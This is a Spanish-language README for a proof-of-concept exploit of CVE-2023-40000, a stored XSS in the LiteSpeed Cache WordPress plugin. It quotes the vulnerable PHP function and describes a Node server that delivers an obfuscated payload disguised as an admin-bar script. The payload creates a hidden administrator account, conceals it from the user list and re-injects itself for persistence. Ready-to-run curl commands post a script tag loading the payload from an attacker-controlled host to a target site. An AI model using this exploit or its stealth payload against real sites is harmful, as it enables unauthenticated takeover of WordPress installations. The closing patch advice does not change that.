
PoC para la vulnerabilidad XSS en el plugin LiteSpeed Cache de WordPress (CVE-2023-40000) que permite privilegios elevados. Incluye código, explicaciones y mitigaciones.
PoC de vulnerabilidad XSS en el plugin LiteSpeed Cache de WordPress que permite escalar privilegios. Esta vulnerabilidad fue corregida en la versión 5.7.0.1 del plugin y se le asignó CVE-2023-40000. Según la página de vista avanzada del plugin, aproximadamente el 35% de los usuarios todavía utilizan una versión vulnerable (<5.7.0.1), lo que suma alrededor de 1.8 millones de sitios web.
Debido a la falta de sanitización de entrada en la función update_cdn_status, los usuarios (no autenticados) pueden enviar una solicitud POST con un valor de formulario _msg infectado que se almacena y luego se muestra en la sección de administración de WordPress. Esto puede permitir que cualquiera cree cuentas de administrador, escale sus privilegios o robe información sensible con solo enviar una solicitud POST no autenticada. La función vulnerable se puede encontrar aquí o abajo, y la función Admin_Display::error se puede encontrar aquí.
/**
* Callback for updating Auto CDN Setup status after run
*
* @since 4.7
* @access public
*/
public function update_cdn_status() {
if ( !isset( $_POST[ 'success' ] ) || !isset( $_POST[ 'result' ] ) ) {
self::save_summary( array( 'cdn_setup_err' => __( 'Received invalid message from the cloud server. Please submit a ticket.', 'litespeed-cache' ) ) );
return self::err( 'lack_of_param' );
}
if (!$_POST[ 'success' ]) {
self::save_summary( array( 'cdn_setup_err' => $_POST[ 'result' ][ '_msg' ] ) );
Admin_Display::error( __( 'There was an error during CDN setup: ', 'litespeed-cache' ) . $_POST[ 'result' ][ '_msg' ] );
} else {
$this->_process_cdn_status($_POST[ 'result' ]);
}
return self::ok();
}
La prueba de concepto en este repositorio contiene un servidor NodeJS Express diseñado para ofuscar y entregar el payload XSS, mientras también captura pings y datos entrantes. El script del payload muestra las acciones potenciales de los atacantes que explotan esta vulnerabilidad: crea una cuenta de administrador con el nombre de usuario "wp-config-user" y la contraseña "somepassword123". El payload XSS, que también está disfrazado como admin-bar-reloaded.min, oculta el popup XSS inicial al cargar, oculta completamente el usuario creado en la página de administración users.php y repite la solicitud POST inicial para mantener un XSS almacenado persistente.
npm install para instalar las dependencias.node index.js.Utilice el siguiente comando cURL para enviar la solicitud POST al endpoint vulnerable:
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" ^
-H "Content-Type: application/x-www-form-urlencoded" ^
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
El contenido de este repositorio se proporciona estrictamente con fines educativos y de investigación. No soy responsable de ningún uso indebido o actividad ilegal derivada del uso de esta prueba de concepto. Además, se ha emitido una advertencia en la página del plugin LiteSpeed Cache advirtiendo a todos los usuarios que actualicen su software debido a esta vulnerabilidad conocida. Por favor, asegúrese de que sus instalaciones estén actualizadas a la versión 5.7.0.1 o posterior para mitigar este problema.